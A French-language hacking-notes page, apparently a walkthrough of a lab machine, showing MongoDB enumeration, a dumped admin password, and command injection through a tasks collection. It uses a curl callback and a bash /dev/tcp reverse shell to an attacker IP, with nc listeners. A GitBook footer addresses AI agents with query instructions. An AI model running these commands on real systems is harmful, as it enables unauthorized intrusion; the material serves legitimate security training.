> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/ports-and-services/mongodb-27017.md).

# MongoDB - 27017

### Énumération MongoDB

<figure><img src="/files/a5318c2b1089412b153a5f8212c4dee92129f098" alt=""><figcaption></figcaption></figure>

Se connecter à la base de données MongoDB sur le port 27017 :

```bash
mongo
show dbs
use blog
show tables
db.users.find()
```

<figure><img src="/files/84a4be3c6ea477244da2948011cae7beed5db49a" alt="" width="563"><figcaption></figcaption></figure>

* user: admin
* mot de passe : IppsecSaysPleaseSubscribe

<figure><img src="/files/afa9b0c68693f57843ec75aa343d2179ff6879aa" alt=""><figcaption></figcaption></figure>

### Exécution de code à distance MongoDB

Le `app.js` le script exécute des commandes système à partir des documents MongoDB via `doc.cmd`. Il s’agit d’une vulnérabilité critique, car des commandes arbitraires peuvent être injectées et exécutées.

<figure><img src="/files/46eac06a1904c8643fa0da06b54cf72746e3402a" alt=""><figcaption></figcaption></figure>

Confirmer l’exécution de commandes via MongoDB.

**Créer un serveur web local**

Sur la machine attaquante, lancez un serveur web pour observer les requêtes :

```bash
python3 -m http.server 80
```

**Insérer une commande de test dans la `tâches` collection**

Dans MongoDB, insérez une commande qui effectue une requête HTTP vers la machine attaquante :

```bash
db.tasks.insert({  cmd: "curl http://10.10.14.30"})
```

**Observer les requêtes**

Si vous voyez une requête dans les journaux du serveur web, cela confirme que les commandes sont exécutées.

<figure><img src="/files/8eb9cc0e4c3147de78b7878688203082ba04efd5" alt=""><figcaption></figcaption></figure>

Configurez un reverse shell et écoutez sur le port 443 :

```bash
nc -nlvp 443
```

#### Lancer un reverse shell

**Configurer un écouteur sur le port 443** Sur la machine attaquante :

```bash
nc -nlvp 443
```

**Insérer une commande de reverse shell**

Dans MongoDB, insérez une commande pour établir un reverse shell :

```bash
db.tasks.insert({  cmd: "bash -c 'bash -i >&/dev/tcp/10.10.14.30/443 0>&1'"})
```

**Connexion réussie** Une fois la commande exécutée, vous obtenez un shell interactif sur la machine cible sous l’utilisateur **tom**.

<figure><img src="/files/67572adfe8eb735ab8c2282bc068e872d97728b7" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/ports-and-services/mongodb-27017.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
